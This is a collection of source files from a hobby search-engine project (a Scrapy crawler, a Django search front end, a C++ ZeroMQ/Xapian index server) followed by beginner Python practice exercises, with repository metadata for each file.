True\n\n for i in range(len(self.indexDistribution)):\n if firstMatch and (not boolstart):\n if (self.indexDistribution[i] > (self.threshold/2) ) and (not boolstart):\n if (self.indexDistribution[i+1] != 0) or (self.indexDistribution[i+2] != 0):\n firstMatch = False\n boolstart = True\n start = i\n continue\n if (self.indexDistribution[i] > self.threshold) and (not boolstart):\n if (self.indexDistribution[i+1] != 0) or (self.indexDistribution[i+2] != 0) or (self.indexDistribution[i+3] != 0):\n boolstart = True\n start = i\n continue\n if boolstart:\n if (self.indexDistribution[i] == 0) or self.indexDistribution[i+1] == 0:\n end = i\n boolend = True\n if boolend:\n buffer = ''\n for j in range(end - start + 1):\n if len(self.lines[start + j]) < 4:\n continue\n buffer += self.lines[start + j]\n if 'Copyright' in buffer or '版权所有' in buffer:\n continue\n text += buffer\n boolend = boolstart = False\n\n if start > end:\n buffer =''\n for i in range(len(self.lines)-start):\n if len(self.lines[start+i]) < 4:\n continue\n buffer+=self.lines[start+i]\n if ('Copyrght' not in buffer) or ('版权所有' not in buffer):\n text+=buffer\n\n return text" }, { "alpha_fraction": 0.6469990015029907, "alphanum_fraction": 0.6520854234695435, "avg_line_length": 24.855262756347656, "blob_id": "9c227e03fe7e178946c15e38c660c4e82fa70f20", "content_id": "4d617500abcb65c7e759edd0c7da2c7d10a9c614", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1966, "license_type": "no_license", "max_line_length": 72, "num_lines": 76, "path": "/web/search/views.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "from django.shortcuts import render,render_to_response\nfrom SearchClient import SearchResult\nfrom QueryData import GetURL\nimport search_msg_pb2\nfrom mmseg.search import seg_txt_2_dict\nfrom forms import SearchForm\nimport jieba\nimport sys\nsys.path.append(\"..\")\n\nfrom util.processword import *\n\ndef search(request):\n #form = SearchForm(request.GET)\n search_word = request.GET['a']\n messages_obj = search_msg_pb2.search_msg()\n seg_list = jieba.cut_for_search(search_word)\n wordlist = []\n for word in seg_list:\n wordlist.append(word)\n wordlist = list(set(wordlist))\n print wordlist\n for word in wordlist:#seg_txt_2_dict(search_word).iteritems():\n if not WordIsRight(word):\n continue\n print word\n messages_obj.word.append(word.encode('UTF-8'))\n messages_obj_str = messages_obj.SerializeToString()\n\n print len(messages_obj_str)\n\n # messages_obj1 = search_msg_pb2.search_msg()\n\n # messages_obj1.ParseFromString(messages_obj_str)\n\n\n idset_str = SearchResult(messages_obj_str)\n\n print len(idset_str)\n\n result_obj = search_msg_pb2.search_result()\n\n result_obj.ParseFromString(idset_str)\n\n print result_obj.id\n\n urlset = GetURL(result_obj.id)\n if len(urlset) == 0:\n form = SearchForm()\n return render(request, 'index.html',{'form':form})\n return render_to_response(\"searchresult.html\",{'resultset': urlset})\n #return HttpResponse(a)\n# if request.method == 'POST':\n# form = AddForm(request.POST)\n\n# if form.is_valid():\n #a = request.GET['a']\n # b = SearchResult(a)\n # c = GetURL(b)\n #return HttpResponse(a)\n #else:\n #form = AddForm()\n\n #return render(request, 'index.html', {'form': form})\ndef index(request):\n form = SearchForm()\n return render(request, 'index.html',{'form':form})\n\n\n\n#def add(request):\n# a = request.GET['a']\n# b = request.GET['b']\n# a = int(a)\n# b = int(b)\n# return HttpResponse(str(a+b))\n\n" }, { "alpha_fraction": 0.4954954981803894, "alphanum_fraction": 0.5210210084915161, "avg_line_length": 17.44444465637207, "blob_id": "260fb347c6803a78f0f43d0d02937e8219bffd6e", "content_id": "81c75ef53d96d9c7f5bf96ed066ac5cbdfdaf918", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 682, "license_type": "no_license", "max_line_length": 105, "num_lines": 36, "path": "/web/search/QueryData.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "#coding=utf-8\n\nimport MySQLdb\nimport MySQLdb.cursors\n\n\n\ndb = MySQLdb.connect(host=\"localhost\", port=3307, user=\"root\", passwd=\"123\", db=\"crawler\",charset='utf8')\ncursor = db.cursor()\n\ndef select1(c):\n a = \"SELECT url from data where id in(\"\n for i in c:\n a+=str(i)\n a+=\",\"\n a = a[:-1]\n a+=')'\n print a\n return a\n\ndef GetURL(c):\n r = []\n if len(c) == 0:\n return r\n if c[0] == -10:\n return r\n a = select1(c)\n try:\n cursor.execute(a)\n # 获取所有记录列表\n results = cursor.fetchall()\n for row in results:\n r.append(row[0])\n except Exception,e:\n print e\n return r\n\n\n" }, { "alpha_fraction": 0.5815122127532959, "alphanum_fraction": 0.5887237787246704, "avg_line_length": 23.47058868408203, "blob_id": "df5681b4bb83d1d45f7315d26c43fb57ce45c1db", "content_id": "671ce3dc493dc4638a669e5db8099d52811a0cdf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4598, "license_type": "no_license", "max_line_length": 78, "num_lines": 187, "path": "/IndexServer/src/IndexServer.cpp", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "//============================================================================\n// Name : IndexServer.cpp\n// Author : \n// Version :\n// Copyright : Your copyright notice\n// Description : Hello World in C++, Ansi-style\n//============================================================================\n#include <assert.h>\n#include <iostream>\n#include <pthread.h>\n#include <zmq.hpp>\n#include \"tinyxml.h\"\n#include \"index_msg.pb.h\"\n#include \"indexsearch.h\"\n#include \"search_msg.pb.h\"\nusing namespace std;\nusing namespace zmq;\n\ntypedef struct{\n\tchar *str;\n\tint length;\n}para;\n\nvoid* index_thread(void* ptr) {\n\tpara *p = (para*) ptr;\n\tindex_msg im;\n\tstring str(p->str,p->length);\n\tif (im.ParseFromString(str)) {\n\t\titems it;\n\t\tfor (int i = 0; i < im.single_item_size(); ++i) {\n\t\t\tconst SingleItem ii = im.single_item(i);\n\t\t\tit.insert(items::value_type(ii.item(), ii.num()));\n\t\t\tcout<<ii.item()<<endl;\n\t\t}\n\t\tindex_search::getInstance()->index(im.max_id(), it);\n\t}\n\tdelete[] p->str;\n\tdelete p;\n\n}\n\nint main(int argc, char *argv[]) {\n\t//配置文件\n\n\tconst char* filepath =\n\t\t\t\"/Users/liuqiang/PycharmProjects/Pigeon/config/index.xml\";\n\tTiXmlDocument doc(filepath);\n\tbool loadOkay = doc.LoadFile();\n\t// faile to load 'phonebookdata.xml'.\n\tif (!loadOkay) {\n\t\tprintf(\"Could not load test file %s. Error='%s'. Exiting.\\n\", filepath,\n\t\t\t\tdoc.ErrorDesc());\n\t\texit(1);\n\t}\n\n\tTiXmlElement* root = doc.RootElement();\n\tTiXmlNode *item = root->FirstChild();\n\n\tTiXmlNode* child = item->FirstChild();\n\tconst char *index_ip = child->ToElement()->GetText();\n\tchild = item->IterateChildren(child);\n\tconst char *index_port = child->ToElement()->GetText();\n\n\tconst char *indexdb = \"/Users/liuqiang/PycharmProjects/Pigeon/index_data\";\n\n\titem = item->NextSibling();\n\tchild = item->FirstChild();\n\tconst char *search_ip = child->ToElement()->GetText();\n\tchild = item->IterateChildren(child);\n\tconst char *search_port = child->ToElement()->GetText();\n\n\tcontext_t context(1);\n\tsocket_t s1(context, ZMQ_PULL);\n\tsocket_t s2(context, ZMQ_REP);\n\n\tstring index_addr = \"tcp://\";\n\tindex_addr.append(index_ip);\n\tindex_addr.append(\":\");\n\tindex_addr.append(index_port);\n\n\tstring search_addr = \"tcp://\";\n\tsearch_addr.append(search_ip);\n\tsearch_addr.append(\":\");\n\tsearch_addr.append(search_port);\n\n\ts1.bind(index_addr.c_str());\n\ts2.bind(search_addr.c_str());\n\n\tcout << \"Starting....\" << endl;\n\n\twhile (1) {\n\t\tpollitem_t items[2];\n\t\titems[0].socket = s1;\n\t\titems[0].fd = 0;\n\t\titems[0].events = ZMQ_POLLIN;\n\n\t\titems[1].socket = s2;\n\t\titems[1].fd = 0;\n\t\titems[1].events = ZMQ_POLLIN;\n\t\tint nRet = poll(items, 2);\n\t\tif (0 == nRet)\n\t\t\tcontinue;\n\n\t\tzmq_msg_t msg;\n\n\t\tif (items[0].revents & ZMQ_POLLIN) {\n\t\t\t//index\n\t\t\tcout << \"recv index\" << endl;\n\t\t\tpthread_t pid;\n\t\t\tmessage_t request;\n\t\t\ts1.recv(&request);\n\t\t\tpara *p = new para;\n\t\t\tp->str = new char[request.size()];\n\t\t\tmemcpy(p->str, request.data(), request.size());\n\t\t\tp->length = request.size();\n\n\t\t\tint ret = pthread_create(&pid, NULL, index_thread,\n\t\t\t\t\t(void*) p);\n\t\t\tif (ret < 0) {\n\n\t\t\t\tdelete[] p->str;\n\t\t\t\tdelete p;\n\t\t\t}\n\t\t}\n\n\t\tif (items[1].revents & ZMQ_POLLIN) {\n\t\t\t//search\n\t\t\tstring buffer;\n\t\t\tresult r;\n\t\t\tsearch_key t;\n\t\t\tsearch_msg sm;\n\t\t\tsearch_result sr;\n\t\t\tmessage_t request;\n\t\t\ts2.recv(&request);\n\n\t\t\tstring re_string((char*)request.data(),request.size());\n\n\t\t/*\tchar *re_string = new char[request.size()];\n\t\t\tcout<<\"\\n\\nrecv \"<<request.size()<<endl;\n\t\t\tmemcpy((void*)re_string, request.data(), request.size());\n\n\n\t\t\tfor(int i = 0;i<request.size();++i)\n\t\t\t{\n\t\t\t\tcout<<(int)re_string[i]<<endl; //输出十六进制数\n\t\t\t}\n\n\t\t\tstring strData(pData, request.));\n\t*/\n\t\t\tif (sm.ParseFromString(re_string)) {\n\t\t\t\tcout<<\"nsm par right\"<<endl;\n\t\t\t\tfor (int i = 0; i < sm.word_size(); ++i) {\n\t\t\t\t\tt.push_back(sm.word(i));\n\t\t\t\t\tcout<<\"sm word \"<<sm.word(i)<<endl;\n\t\t\t\t}\n\t\t\t\tindex_search::getInstance()->search(t, r);\n\n\t\t\t\tfor (result::const_iterator it = r.begin(); it != r.end();\n\t\t\t\t\t\t++it) {\n\t\t\t\t\tsr.add_id(*it);\n\t\t\t\t\tcout<<\"item \"<<*it<<endl;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcout<<\"sm par wrong\"<<endl;\n\t\t\t\tsr.add_id(-10);\n\t\t\t\t/*\tstring buffer;\n\t\t\t\t sr.SerializeToString(&buffer);\n\n\t\t\t\t buffer = \"lfrdreamman\";\n\t\t\t\t const char*ii = buffer.c_str();\n\t\t\t\t cout << buffer.size() << endl;\n\n\t\t\t\t memcpy(zmq_msg_data(&msg), buffer.c_str(), buffer.size());\n\t\t\t\t cout << (char*) zmq_msg_data(&msg) << endl;\n\t\t\t\t zmq_msg_send(&msg, s2, 0);\n\t\t\t\t */\n\t\t\t}\n\t\t\tcout<<\"sr id size \"<<sr.id_size()<<endl;\n\n\t\t\tsr.SerializeToString(&buffer);\n\t\t\tmessage_t reply(buffer.size());\n\t\t\tcout<<\"size \"<<buffer.size()<<endl;\n\t\t\tmemcpy(reply.data(),buffer.data(), buffer.size());\n\t\t\ts2.send(reply);\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.5864892601966858, "alphanum_fraction": 0.5951893329620361, "avg_line_length": 29.53125, "blob_id": "a8dd86109c4c7918e01c5a1a00ea3e3c098b3e55", "content_id": "3289957e99948ab4b7b6d025cd3894aa7793fde3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1954, "license_type": "no_license", "max_line_length": 152, "num_lines": 64, "path": "/crawler/crawler/pipelines.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport codecs\nimport MySQLdb\nimport MySQLdb.cursors\nfrom IndexClient import SendText\nimport index_msg_pb2\nfrom mmseg.search import seg_txt_2_dict\nimport jieba\nimport sys\nsys.path.append(\"..\")\nfrom util.processword import *\n\n\nclass CrawlerPipeline(object):\n def __init__(self):\n self.db = MySQLdb.connect(host=\"localhost\", port=3307, user=\"root\", passwd=\"123\", db=\"crawler\",charset='utf8')\n self.cursor = self.db.cursor()\n\n\n def insertitem(self,item):\n try:\n self.cursor.execute('insert into data(url,title,body,text) values (%s, %s, %s, %s)',(item['url'], item['title'], item['body'],item['text']))\n self.db.commit()\n except Exception,e:\n print e\n self.db.rollback()\n def maxid(self):\n sql = \"SELECT max(id) FROM data\"\n try:\n self.cursor.execute(sql)\n mi = self.cursor.fetchone()\n\n except Exception,e:\n print e\n return mi[0]\n\n def process_item(self, item, spider):\n #index\n wordlist =[]\n messages_obj = index_msg_pb2.index_msg()\n self.insertitem(item)\n messages_obj.max_id = self.maxid()\n seg_list = jieba.cut_for_search(item['text'])\n for word in seg_list:\n wordlist.append(word)\n wordlist = list(set(wordlist))\n\n for word in wordlist: #seg_txt_2_dict(item['text']).iteritems():\n if not WordIsRight(word):\n continue\n print word\n singitem = messages_obj.single_item.add()\n singitem.item = word.encode('utf-8');\n singitem.num = 1;\n messages_obj_str = messages_obj.SerializeToString()\n\n SendText(messages_obj_str)\n print 'lfr1'\n return item\n" }, { "alpha_fraction": 0.7259259223937988, "alphanum_fraction": 0.7370370626449585, "avg_line_length": 24.761905670166016, "blob_id": "391a56edbd9b57525c350e328f1bfdb310f8019f", "content_id": "33650c47374a3763fd66d5a28fa160ea026e2811", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 540, "license_type": "no_license", "max_line_length": 77, "num_lines": 21, "path": "/web/search/SearchClient.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "__author__ = 'liuqiang'\n\nimport zmq\nfrom xml.dom import minidom\n\ndoc = minidom.parse(\"//Users/liuqiang/PycharmProjects/Pigeon/config/web.xml\")\nroot = doc.documentElement\n\nnode = root.getElementsByTagName(\"search\")\nip = node[0].childNodes[1].childNodes[0].nodeValue\nport = node[0].childNodes[3].childNodes[0].nodeValue\n\ncontext = zmq.Context()\n# Socket to talk to server\nsocket = context.socket(zmq.REQ)\nsocketstr = 'tcp://'+ip+':'+port\nsocket.connect(socketstr)\n\ndef SearchResult(keyword):\n socket.send(keyword)\n return socket.recv()" }, { "alpha_fraction": 0.7052767276763916, "alphanum_fraction": 0.7181467413902283, "avg_line_length": 17.95121955871582, "blob_id": "e8f55c628bf597a17c8519d66b62f00daa252071", "content_id": "24735b46b4cd93e5fac43cadfcc4e8590b43b643", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 783, "license_type": "no_license", "max_line_length": 68, "num_lines": 41, "path": "/IndexServer/src/indexsearch.h", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "/*\n * indexsearch.h\n *\n * Created on: 2015年8月21日\n * Author: liuqiang\n */\n\n#ifndef INDEXSEARCH_H_\n#define INDEXSEARCH_H_\n\n#include <xapian.h>\n#include <string>\n#include <unordered_map>\n#include <list>\nusing namespace std;\nusing namespace Xapian;\n\ntypedef unordered_map<string,unsigned int> items;\ntypedef list<string> search_key;\ntypedef list<int> result;\n\nclass index_search {\npublic:\n\tindex_search(char *indexdb_dir);\n\tvirtual ~index_search();\nprivate:\n\tstatic index_search *is;\npublic:\n\tstatic index_search *getInstance();\nprivate:\n\tWritableDatabase db;\n\tEnquire enquire;\n\npublic:\n\n\tvoid index(unsigned int id, items &t);\n\tvoid update_index(unsigned int id,items &t);\n\tvoid search(search_key &s,result &r,int offset = 0,int limit = 10);\n};\n\n#endif /* INDEXSEARCH_H_ */\n" }, { "alpha_fraction": 0.7250509262084961, "alphanum_fraction": 0.7372708916664124, "avg_line_length": 21.31818199157715, "blob_id": "2c32b5ffef2a2cc91932d5e8a741e51e93628a77", "content_id": "1c6b18bfa203fc1f4d9c13a871dfda02d1224bcc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 491, "license_type": "no_license", "max_line_length": 81, "num_lines": 22, "path": "/crawler/crawler/IndexClient.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "__author__ = 'liuqiang'\n\n\nimport zmq\nfrom xml.dom import minidom\n\ndoc = minidom.parse(\"/Users/liuqiang//PycharmProjects/Pigeon/config/crawler.xml\")\nroot = doc.documentElement\n\nnode = root.getElementsByTagName(\"index\")\nip = node[0].childNodes[1].childNodes[0].nodeValue\nport = node[0].childNodes[3].childNodes[0].nodeValue\n\nsocketstr = 'tcp://'+ip+':'+port\n\ncontext = zmq.Context()\nsocket = context.socket(zmq.PUSH)\n\nsocket.connect(socketstr)\n\ndef SendText(message):\n socket.send(message)\n" }, { "alpha_fraction": 0.6455696225166321, "alphanum_fraction": 0.6708860993385315, "avg_line_length": 13.454545021057129, "blob_id": "867695c2f02e5c5010568395c6309c3ccfbe12cf", "content_id": "75a33b83a2a9cb0404e5a80cbd8bb5ebe9b18d5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 158, "license_type": "no_license", "max_line_length": 41, "num_lines": 11, "path": "/messages/test.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "__author__ = 'liuqiang'\nfrom crawler.crawler import index_msg_pb2\n\na = index_msg_pb2.index_msg()\n\na.max_id = 3\na.text = 'oooo'\n\nb=a.SerializeToString()\n\nc =0" }, { "alpha_fraction": 0.5779221057891846, "alphanum_fraction": 0.5844155550003052, "avg_line_length": 24.35714340209961, "blob_id": "21015ac7ea6103b0dcb891741d42e61bacc28aef", "content_id": "be7a98d1209012c92486ce060f8c64a9f83b649e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1078, "license_type": "no_license", "max_line_length": 85, "num_lines": 42, "path": "/crawler/crawler/spiders/spider.py", "repo_name": "lfrdreamman/Pigeon", "src_encoding": "UTF-8", "text": "import scrapy\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\nfrom ..items import CrawlerItem\n\nfrom ..TextExtractor import TextExtractor\n\n\nimport re\n\nclass DmozSpider(scrapy.Spider):\n name = \"dmoz\"\n start_urls = [\n\t\"http://www.cnblogs.com/\"\n ]\n\n pattern = re.compile(r'^http')\n te = TextExtractor()\n\n def parse(self, response):\n item = CrawlerItem()\n\n item['url'] = response.url.encode('utf-8')\n item['title'] = response.xpath('//title/text()').extract()[0].encode('utf-8')\n\n if response.encoding == 'utf-8':\n item['body'] = response.body\n else:\n item['body'] = response.body.decode(response.encoding).encode('utf-8')\n\n c = item['body'].decode(\"utf-8\")\n\n c = DmozSpider.te.extract(c)\n c = c.encode('utf-8')\n item['text'] = c\n\n yield item\n\n \t#link = response.xpath('//a/@href').extract()\n #for item_url in link:\n # if DmozSpider.pattern.match(item_url):\n # yield Request(item_url, callback=self.parse)\n \n" } ]
16
SardarDawar/judge
https://github.com/SardarDawar/judge
fa233540b0b7b65ea66e56eed9586eda9d243e36
85baa13fa396c5ee13569035a16fd7fd9a1cd2f0
27e004e1c6a3ed436e2baea8791cbbef8d2a613c
refs/heads/master
2023-05-18T00:33:02.143712
2021-06-10T02:34:20
2021-06-10T02:34:20
375,540,266
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5324324369430542, "alphanum_fraction": 0.5675675868988037, "avg_line_length": 15.086956977844238, "blob_id": "cfc495495e31ad5045aad8919a00ec06c593dadd", "content_id": "7c8de950a9421c34bbd327bc53129fe631443a82", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 370, "license_type": "permissive", "max_line_length": 70, "num_lines": 23, "path": "/oj/dev_settings.py", "repo_name": "SardarDawar/judge", "src_encoding": "UTF-8", "text": "# coding=utf-8\nimport os\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\nREDIS_CONF = {\n \"host\": \"127.0.0.1\",\n \"port\": \"6380\"\n}\n\n\nDEBUG = True\n\nALLOWED_HOSTS = [\"*\"]\n\nDATA_DIR = f\"{BASE_DIR}/data\"\n" } ]
1
vanecie/python_practice
https://github.com/vanecie/python_practice
c290653ee20ab8b0f1f43064d85fe5b36248f950
bdf02a5dfb8469f9ae6723d08ec3b69e668070b5
99c420070c3a7a2a36efdcb97e78b933f1c4880c
refs/heads/master
2016-08-08T23:46:12.151405
2016-02-01T05:37:45
2016-02-01T05:37:45
45,816,590
2
1
null
2015-11-09T05:18:06
2016-01-25T07:30:47
2016-02-01T05:37:46
Python
[ { "alpha_fraction": 0.5411764979362488, "alphanum_fraction": 0.6470588445663452, "avg_line_length": 9.75, "blob_id": "db86d2af31a94a00d44b2b77779e82795c2d3753", "content_id": "a8d579d9e28abb19907676dbfe8c708aa3c937e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 85, "license_type": "no_license", "max_line_length": 19, "num_lines": 8, "path": "/bigo.py", "repo_name": "vanecie/python_practice", "src_encoding": "UTF-8", "text": "n=10000\nm=10\ncount=0\nfor i in range(n):\n\tfor j in range(m):\n\t\tcount+=1\n\nprint (count)" }, { "alpha_fraction": 0.596069872379303, "alphanum_fraction": 0.6365621089935303, "avg_line_length": 25.24479103088379, "blob_id": "bbde4137c6d328a3b7def871cde48fdf776c217b", "content_id": "4cf56a3fefcd172c540127bc3da20e326cbad73d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5038, "license_type": "no_license", "max_line_length": 171, "num_lines": 192, "path": "/solutions1-ajs.py", "repo_name": "vanecie/python_practice", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# 1) Write a function which takes two strings strA and strB and returns them joined with a space\n# \"hello\", \"world\" -> \"hello world\"\n# VERY EASY\ndef solution1(strA, strB):\n\treturn strA + \" \" + strB\n\n# 2) Write a function which adds to integers A and B and returns the result\n# a, b -> a + b\n# VERY EASY\ndef solution2(A, B):\n\treturn A + B\n\n# 3) Write a function which returns the integers 0 -> 9 (inclusive) as an array\n# -> [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n# VERY EASY\ndef solution3():\n\treturn list(range(0,10))\n\n# 4) Write a function which returns the even integers between 0 -> 9 as an array\n# -> [0, 2, 4, 6, 8]\n# VERY EASY\ndef solution4():\n\treturn list(range(0,10,2))\n\n# 5) Write a function which inverts the capitalization of the string A and returns the result\n# (You cannot use swapcase())\n# \"ThiS IS a STrinG\" -> \"tHIs is A stRINg\"\n# EASY\ndef solution5(A):\n\tB = \"\"\n\tfor i in range(len(A)):\n\t\tif A[i].isupper():\n\t\t\tB += A[i].lower()\n\t\telse:\n\t\t\tB += A[i].upper()\n\treturn B\n\n# 6) Write a function which returns a string containing only words from another string over 4 letters long\n# The returned string should have words delimited by spaces\n# \"this is a really complicated string\" -> \"really complicated string\"\n# MEDIUM\ndef solution6(s):\n\tnew_words = None\n\tfor word in s.split():\n\t\tif len(word) <= 4:\n\t\t\tcontinue\n\t\tif new_words:\n\t\t\tnew_words += \" \" + word\n\t\telse:\n\t\t\tnew_words = word\n\treturn new_words\n\n# 7) Write a function which returns an array containing integers in the Fibonacci sequence up to 377\n# https://en.wikipedia.org/wiki/Fibonacci#Fibonacci_sequence\n# MEDIUM\ndef solution7():\n\tfibon = [1, 1]\n\toffset = 0\n\twhile True:\n\t\tfibon.append(fibon[offset] + fibon[offset + 1])\n\t\tif fibon[-1] >= 377:\n\t\t\tbreak;\n\t\toffset += 1\n\treturn fibon\n\n# 8) Write a function which returns an array containing the first 10 prime numbers\n# (Zero and one are not prime numbers)\n# HARD\ndef solution8():\n\ti = 2\n\tprimes = []\n\twhile True:\n\t\tprime = True\n\t\tfor j in range(2, i):\n\t\t\tif not i % j:\n\t\t\t\tprime = False\n\t\t\t\tbreak\n\t\tif prime:\n\t\t\tprimes.append(i)\n\t\tif len(primes) == 20:\n\t\t\tbreak\n\t\ti += 1\n\treturn primes\n\n# 9) Write a function which takes an string, which is arithmetic expression containing only floats and one of +,-,/,*, and returns the result of the expression as a string\n# Normal rules for operator precedence do not apply, just use the operators in the sequence you read them\n# \"50.0+60.0/10.0*20.0\" -> \"220.0\"\n# VERY HARD\ndef solution9(expr):\n\tnumber_strs = expr.replace(\"+\", \" \").replace(\"-\", \" \").replace(\"*\", \" \").replace(\"/\", \" \").split()\n\toperators = []\n\tfor c in expr:\n\t\tif c == '+' or c == '-' or c == '*' or c == '/':\n\t\t\toperators.append(c)\n\n\tnumbers = []\n\ttry:\n\t\tfor number_str in number_strs:\n\t\t\tnumbers.append(float(number_str))\n\texcept ValueError:\n\t\tprint(\"Expression '\" + expr + \"' is invalid\")\n\t\treturn \"\"\n\n\tif len(numbers) - 1 != len(operators):\n\t\tprint(\"Invalid number of numbers (\" + str(len(numbers)) + \") vs number of operators (\" + str(len(operators)) + \")\")\n\t\treturn \"\"\n\n\tsum = numbers[0]\n\toffset = 1\n\tfor operator in operators:\n\t\tif operator == \"+\":\n\t\t\tsum += numbers[offset]\n\t\telif operator == \"-\":\n\t\t\tsum -= numbers[offset]\n\t\telif operator == \"*\":\n\t\t\tsum *= numbers[offset]\n\t\telif operator == \"/\":\n\t\t\tsum /= numbers[offset]\n\t\toffset += 1\n\n\treturn str(sum)\n\n# IGNORE EVERYTHING BELOW THIS LINE\n\ndef solution1_harness():\n\tret = solution1(\"hello\", \"world\")\n\tassert ret == \"hello world\"\n\treturn ret\ndef solution2_harness():\n\tret = solution2(1, 99)\n\tassert ret == 100\n\treturn ret\ndef solution3_harness():\n\tret = solution3()\n\tassert ret == [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n\treturn ret\ndef solution4_harness():\n\tret = solution4()\n\tassert ret == [0, 2, 4, 6, 8]\n\treturn ret\ndef solution5_harness():\n\tret = solution5(\"ThiS IS a STrinG\")\n\tassert ret == \"tHIs is A stRINg\"\n\treturn ret\ndef solution6_harness():\n\tret = solution6(\"this is a really complicated string\")\n\tassert ret == \"really complicated string\"\n\treturn ret\ndef solution7_harness():\n\tret = solution7()\n\tassert ret == [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377]\n\treturn ret\ndef solution8_harness():\n\tret = solution8()\n\tassert ret == [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71]\n\treturn ret\ndef solution9_harness():\n\tret = solution9(\"50.0+60.0/10.0*20.0\")\n\tassert ret == \"220.0\"\n\treturn ret\n\nimport sys\nimport inspect\nimport traceback\n\ndef menu():\n\tsolution = raw_input(\"which solution do you want to run? (1 to 9) (q to quit) \")\n\tif solution == \"q\":\n\t\treturn True\n\tif solution.isdigit():\n\t\tharness_fn = globals()[\"solution\" + str(solution) + \"_harness\"]\n\t\traw_fn = globals()[\"solution\" + str(solution)]\n\t\tprint(\"\")\n\t\tprint(inspect.getsource(raw_fn))\n\t\tif harness_fn:\n\t\t\ttry:\n\t\t\t\tret = harness_fn()\n\t\t\t\tif ret:\n\t\t\t\t\tprint(ret)\n\t\t\texcept:\n\t\t\t\t_, _, tb = sys.exc_info()\n\t\t\t\ttraceback.print_tb(tb)\n\t\t\t\tprint(\"\")\n\t\t\t\tprint(\"Solution or harness is wrong!\")\n\t\t\tprint(\"\")\n\treturn False\n\nif __name__ == \"__main__\":\n\twhile not menu():\n\t\tpass" }, { "alpha_fraction": 0.6014598608016968, "alphanum_fraction": 0.636496365070343, "avg_line_length": 33, "blob_id": "a7060fcb7d5d8d0bb68a00b4d4345d4a3291851c", "content_id": "7749590fe00b546a0d188b76baf107f85b2812c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 685, "license_type": "no_license", "max_line_length": 81, "num_lines": 20, "path": "/Fizz.py", "repo_name": "vanecie/python_practice", "src_encoding": "UTF-8", "text": "# 6) FizzBuzz problem. Given a start value S and an end value E, return an array\n# containing the values between S and E (inclusive). Replace any integer that\n# is a multiple of 3 with the string \"Fizz\", and multiple of 5 with the string\n# \"Buzz\", and any multiple of 3 and 5 with the string \"FizzBuzz\".\n# For example, given (5, 15), the returned array would be:\n# [\"Buzz\", \"Fizz\", 7, 8, \"Fizz\", \"Buzz\", 11, \"Fizz\", 13, 14, \"FizzBuzz\"]\n\narray = [ ]\nS = 0\nE = 56\nfor s in range(S, E+1):\n\tif not s % 15:\n\t\tarray.append(str(\"FizzBuzz\"))\n\telif not s % 3:\n\t\tarray.append(str(\"Fizz\"))\n\telif not s % 5:\n\t\tarray.append(str(\"Buzz\"))\n\telse:\n\t\tarray.append(s)\nprint(array)\n\n\t\t\n\t" }, { "alpha_fraction": 0.5939027070999146, "alphanum_fraction": 0.6410005688667297, "avg_line_length": 26.223403930664062, "blob_id": "5730041946e3ec6f809b63a3a0aba5d99c6c841c", "content_id": "e024b0eca2e29a79d3a324652ec984b36bd6812b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5117, "license_type": "no_license", "max_line_length": 173, "num_lines": 188, "path": "/solutions1.py", "repo_name": "vanecie/python_practice", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# 1) Write a function which takes two strings strA and strB and returns them joined with a space\n# \"hello\", \"world\" -> \"hello world\"\n# VERY EASY\ndef solution1(strA, strB):\n\tstrA = \"hello\"\n\tstrB = \"world\"\n\treturn(strA + \" \" + strB)\n\n# 2) Write a function which adds 2 integers A and B and returns the result\n# a, b -> a + b\n# VERY EASY\ndef solution2(A, B):\n\treturn A + B\n\n# 3) Write a function which returns the integers 0 -> 9 (inclusive) as an array\n# -> [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n# VERY EASY\ndef solution3():\n\treturn(range(0,10))\n\n# 4) Write a function which returns the even integers between 0 -> 9 as an array\n# 